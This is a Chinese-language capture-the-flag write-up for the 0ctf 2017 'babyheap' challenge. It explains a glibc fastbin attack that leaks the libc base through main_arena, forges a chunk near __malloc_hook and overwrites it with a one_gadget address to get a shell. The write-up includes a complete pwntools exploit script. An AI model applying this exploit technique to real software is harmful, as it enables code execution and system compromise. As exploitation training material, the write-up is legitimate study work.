0ctf2017-babyheap

fastbin attack,比cgctf的note稍微难一点。

保护全开,思路和cgctf的note是一样的,当时做的时候因为找不到wp,就是对着这道题的wp做的。

当只有一个 small/large chunk 被释放时,small/large chunkfdbk 指向 main_arena 中的地址。如果泄漏出这里fdbk指向的地址,那么就可以得到libc基址。最后利用malloc_hook,可以执行onegadget,获取shell。

这道题比cgctf的note难的是,这道题不存在UAF,所以泄漏main_arena的地址变得稍微难了一点,但是利用fastbinattack还是可以做到的。

1
2
allocate(0x10) #用来
allocate(0x10) #实现
allocate(0x10) #fastbin attack
allocate(0x10) #用来修改下一个chunk的size
allocate(0x80) #用来泄漏main_arena
allocate(0x80) #使上一个chunk free后能指向main_arena
free(1)
free(2)
fill(0,0x41,p64(0)*3+p64(0x21)+p64(0)*3+p64(0x21)+"\x80")
fill(3,0x20,p64(0)*3+p64(0x21))
allocate(0x10)
allocate(0x10)
fill(3,0x20,p64(0)*3+p64(0x91))
free(4)
dump(2)
leak=sh.recv(8)
libc_base=u64(leak)-0x3c4b20-88
malloc_hook=libc_base+0x3c4b20-10

这里通过修改第5个chunk的size,2次malloc第五个chunk,index2和index4指向的都是第五个chunk,free4之后dump2就能打印出main_arena+88地址,从而泄漏libc基址。

关于main_arena在libc中的偏移,可以使用ida打开libc文件,在malloc_trim函数中找到。

在调用malloc函数时,程序会对malloc_hook进行检查,如果不为0,就会调用malloc_hook指向的函数,借此调用onegadget。fastbin是一个单链表,其fd指针会指向下一个可分配的chunk。修改掉最后并进fastbin中的chunk的fd指针,使其指向malloc_hook,这样之后第二次malloc出的chunk就会出现在malloc_hook。但是在malloc之前,程序会对要分配的地址进行检查,如果没有对应size的chunk,就不会在此处分配,所以要进行偏移构造。

可以看到偏移-20-0x3的时候malloc_hook上方就构造出了一个size为0x7f的chunk。

找到的onegadget,尝试发现0x4526a的可以用。

经过尝试,填充大小为19时可以覆盖到malloc_hook

exp:

1
# -*- coding:utf-8 -*- # 
from pwn import *
def allocate(Size):
	sh.recvuntil("Command: ")
	sh.sendline("1")
	sh.recvuntil("Size: ")
	sh.sendline(str(int(Size)))
def fill(Index,Size,Content):
	sh.recvuntil("Command: ")
	sh.sendline("2")
	sh.recvuntil("Index: ")
	sh.sendline(str(Index))	
	sh.recvuntil("Size: ")
	sh.sendline(str(int(Size)))
	sh.recvuntil("Content: ")
	sh.send(Content)
def free(Index):
	sh.recvuntil("Command: ")
	sh.sendline("3")
	sh.recvuntil("Index: ")
	sh.sendline(str(Index))
def dump(Index):
	sh.recvuntil("Command: ")
	sh.sendline("4")
	sh.recvuntil("Index: ")
	sh.sendline(str(Index))		
elf = ELF('./libc.so.6')
sh = process('./heap-2')
allocate(0x10)
allocate(0x10)
allocate(0x10)
allocate(0x10)
allocate(0x80)
allocate(0x80)
free(1)
free(2)
fill(0,0x41,p64(0)*3+p64(0x21)+p64(0)*3+p64(0x21)+"\x80")
fill(3,0x20,p64(0)*3+p64(0x21))
allocate(0x10)
allocate(0x10)
fill(3,0x20,p64(0)*3+p64(0x91))
free(4)
dump(2)
leak=sh.recvuntil("\x00\x00")[-8:]
libc_base=u64(leak)-0x3c4b78
malloc_hook=libc_base+0x3c4b20-0x10
print hex(malloc_hook)
allocate(0x60)
free(4)
fill(2,8,p64(malloc_hook-0x20-0x3))
allocate(0x60)
allocate(0x60)
fill(6,0x1b,p64(0)*2+"\x00\x00\x00"+p64(libc_base+0x4526a))
allocate(0x1)
sh.interactive()

文章目录
|